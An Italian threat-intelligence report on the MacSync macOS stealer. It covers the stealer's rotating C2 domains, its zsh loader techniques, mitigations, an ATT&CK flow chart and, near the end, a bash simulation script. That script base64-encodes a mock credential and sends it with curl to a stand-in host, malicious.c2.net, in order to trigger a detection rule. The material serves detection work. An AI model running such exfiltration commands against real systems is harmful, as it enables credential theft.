SOC Prime Bias: Medio

12 Mag 2026 18:31

MacSync Stealer Utilizza un’infrastruttura C2 Rotante

Author Photo
Ruslan Mikhalov Capo della Ricerca sulle Minacce presso SOC Prime linkedin icon Segui
MacSync Stealer Utilizza un’infrastruttura C2 Rotante
shield icon

Detection stack

  • AIDR
  • Alert
  • ETL
  • Query

Riassunto

MacSync Stealer è un malware per sottrarre informazioni su macOS offerto tramite un modello di malware-as-a-service. Si basa su un loader multi-stage zsh che si connette a un pool rotante di domini di command-and-control per esfiltrare le informazioni rubate, incluse password e credenziali di portafogli di criptovalute. Il loader trasmette password in chiaro attraverso un parametro query-string e carica un archivio ZIP dei dati raccolti in blocchi da 10 MiB. La sua strategia di rotazione dell’infrastruttura dipende da una chiave API statica riutilizzata su diversi domini insieme a un token esadecimale per build.

Indagine

RST Cloud ha rilevato un tentativo di download dal dominio appena registrato jacksonvillemma.com e ha catturato il loader della Fase 2 zsh entro un’ora. L’analisi statica ha rilevato il token del loader, la chiave API e il trio di percorsi di command-and-control: /curl, /dynamic, e /gate. Ulteriore pivoting basato su questi pattern URI ha rivelato un cluster di circa dodici domini di command-and-control sospetti attivi tra febbraio e maggio 2026. Quattro di questi domini sono stati confermati come condividenti la stessa chiave API, mentre gli altri sono stati collegati attraverso comportamenti corrispondenti degli URI.

Mitigazione

I difensori dovrebbero bloccare tutti i domini di command-and-control di MacSync conosciuti e monitorare i pattern distintivi dei percorsi URL utilizzati dal malware. I registri Proxy e DNS dovrebbero essere esaminati per richieste contenenti /curl, /dynamic, e /gate, così come per la stringa user-agent di macOS accorciata simile a Chrome legata al loader. I team di sicurezza dovrebbero inoltre rilevare la creazione di /tmp/osalogging.zip e osservare i processi che eseguono zsh processi che eseguono base64 -D, gunzip, e valuta in combinazione.

Risposta

Se viene trovato un indicatore corrispondente, isolare immediatamente l’endpoint interessato, terminare il processo maligno zsh e raccogliere la memoria per l’analisi di eventuali payload AppleScript. Reimpostare le password utente esposte e invalidare le credenziali compromesse memorizzate nel portachiavi macOS. La logica di rilevamento dovrebbe anche essere aggiornata con il token osservato, la chiave API e i pattern user-agent per ridurre il rischio di compromissioni future.

"grafico TB %% Definizioni delle classi classDef azione fill:#99ccff classDef strumento fill:#ffcc99 classDef file fill:#cccccc classDef process fill:#ccffcc %% Nodieu2060Str accesso_iniziale_phishing["<b>Tecnica</b> – T1566 Phishing<br/><b>Descrizione</b>: Malvertising distribuisce uno script che esegue curl per recuperare il loader Stageu202f2 da un dominio C2."] class accesso_iniziale_phishing azione strumento_curl["<b>Strumento</b> – curl<br/><b>Descrizione</b>: Utility da riga di comando utilizzata per scaricare il loader Stageu202f2."] class strumento_curl strumento difesa_offuscamento_compilazione["<b>Tecnica</b> – T1027.004 Compilare dopo la consegna<br/><b>Descrizione</b>: Il wrapper Zsh contiene un payload in base64u2011gzip decodificato ed eseguito con eval."] class difesa_offuscamento_compilazione azione difesa_payload_embedded["<b>Tecnica</b> – T1027.009 Payload incorporati<br/><b>Descrizione</b>: Payload è incorporato come blob codificato in base64u2011gzip compresso all’interno del wrapper."] class difesa_payload_embedded azione difesa_payload_spogliato["<b>Tecnica</b> – T1027.008 Payloads spogliati<br/><b>Descrizione</b>: Wrapper è spogliato di stringhe identificabili, affidandosi alla decodifica a runtime."] class difesa_payload_spogliato azione difesa_api_dinamica["<b>Tecnica</b> – T1027.007 Risoluzione API dinamica<br/><b>Descrizione</b>: Le richieste HTTP includono un’intestazione della chiave API statica e un’agente utente personalizzata troncata."] class difesa_api_dinamica azione esecuzione_moduli_condivisi["<b>Tecnica</b> – T1129 Moduli condivisi<br/><b>Descrizione</b>: Lo script decodificato viene eseguito come funzione Zsh in background tramite eval."] class esecuzione_moduli_condivisi azione processo_zsh["<b>Processo</b> – Zsh<br/><b>Descrizione</b>: Shell utilizzata per eseguire la funzione malevola decodificata."] class processo_zsh process cred_os_dumping["<b>Tecnica</b> – T1003 Dump delle credenziali del sistema operativo<br/><b>Descrizione</b>: AppleScript recuperato dal C2 estrae voci del portachiavi macOS."] class cred_os_dumping azione cred_browser["<b>Tecnica</b> – T1555.003 Credenziali estratte da browser web<br/><b>Descrizione</b>: Lo stesso AppleScript raccoglie le credenziali memorizzate dai browser Chromium e dalle estensioni cripto‑wallet."] class cred_browser azione cred_unsecured_files["<b>Tecnica</b> – T1552.001 Credenziali non sicure nei file<br/><b>Descrizione</b>: I dati raccolti vengono scritti in /tmp/osalogging.zip prima dell’esfiltrazione."] class cred_unsecured_files azione file_archive["<b>File</b> – /tmp/osalogging.zip<br/><b>Descrizione</b>: Archivio Zip contenente le credenziali raccolte."] class file_archive file collection_archive["<b>Tecnica</b> – T1560 Dati archiviati compressi<br/><b>Descrizione</b>: I dati vengono compressi in un archivio zip per il staging."] class collection_archive azione command_control_dynamic["<b>Tecnica</b> – T1568 Risoluzione dinamica<br/><b>Descrizione</b>: Il malware contatta il C2 utilizzando percorsi HTTP scoperti tramite il matching dei pattern."] class command_control_dynamic azione cred_valid_accounts["<b>Tecnica</b> – T1078 Accounts validi<br/><b>Descrizione</b>: Password macOS degli utenti inviata in chiaro tramite il parametro query “&pwd=”, fornendo al pirata informatico le credenziali legittime."] class cred_valid_accounts azione %% Connessioni accesso_iniziale_phishing –>|utilizza| strumento_curl strumento_curl –>|consegna| difesa_offuscamento_compilazione difesa_offuscamento_compilazione –>|include| difesa_payload_embedded difesa_payload_embedded –>|include| difesa_payload_spogliato difesa_payload_spogliato –>|utilizza| difesa_api_dinamica difesa_api_dinamica –>|abilita| esecuzione_moduli_condivisi esecuzione_moduli_condivisi –>|esegue| processo_zsh processo_zsh –>|esegue| cred_os_dumping cred_os_dumping –>|esegue| cred_browser cred_browser –>|scrive in| cred_unsecured_files cred_unsecured_files –>|crea| file_archive file_archive –>|utilizzato da| collection_archive collection_archive –>|inviato a| command_control_dynamic command_control_dynamic –>|fornisce| cred_valid_accounts "

Flusso di attacco

Esecuzione della Simulazione

Prerequisito: Il Check Pre‑flight della Telemetria & Baseline deve essere superato.

Motivazione: Questa sezione dettaglia l’esecuzione precisa della tecnica dell’avversario (TTP) progettata per attivare la regola di rilevamento. I comandi e la narrazione DEVONO riflettere direttamente le TTP identificate e mirare a generare la telemetria esatta prevista dalla logica di rilevamento.

  • Narrazione e Comandi dell’Attacco:
    Un avversario ha distribuito il binario MacSync Stealer su una workstation macOS compromessa. Il malware estrae la password del portachiavi macOS dell’utente corrente, la codifica in base64 e la esfiltra tramite una richiesta HTTP GET attraverso il proxy aziendale. La richiesta mira al noto endpoint C2 https://malicious.c2.net/dynamic?txd=<payload>. Poiché i log del proxy registrano gli URL completi, la regola di rilevamento vedrà la dynamic?txd= sottostringa e genererà un avviso.

  • Script di Test di Regressione:

     #!/bin/bash
      # macsync_stealer_simulation.sh
      # Simula la comunicazione C2 di MacSync Stealer per attivare la regola di rilevamento.
    
      PROXY="http://proxy.corp.local:3128"
      C2_BASE="https://malicious.c2.net/dynamic?txd="
    
      # 1️⃣ Estrarre una password mock (a scopi dimostrativi usare il nome dell'utente corrente)
      PASSWORD="$(whoami):P@ssw0rd!"
    
      # 2️⃣ Codifica le credenziali in base64 (emula il passo di codifica di MacSync)
      ENCODED=$(printf "%s" "$PASSWORD" | base64)
    
      # 3️⃣ Costruire l'URL malevolo completo
      MALICIOUS_URL="${C2_BASE}${ENCODED}"
    
      # 4️⃣ Inviare la richiesta tramite il proxy aziendale
      curl -x "$PROXY" "$MALICIOUS_URL" -A "Mozilla/5.0 (Macintosh; Intel Mac OS X 13_0) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.0 Safari/605.1.15"
    
      echo "Simulazione eseguita – payload inviato a $MALICIOUS_URL"
  • Comandi di Pulizia:

     # Rimuovere eventuali file temporanei (nessuno creato) e, facoltativamente, pulire la cache del proxy
      echo "Pulizia degli artefatti della simulazione..."
      # Se si utilizza Squid, pulire l'URL dalla cache per evitare hit ripetuti
      sudo squidclient -m PURGE "https://malicious.c2.net/dynamic?txd=*"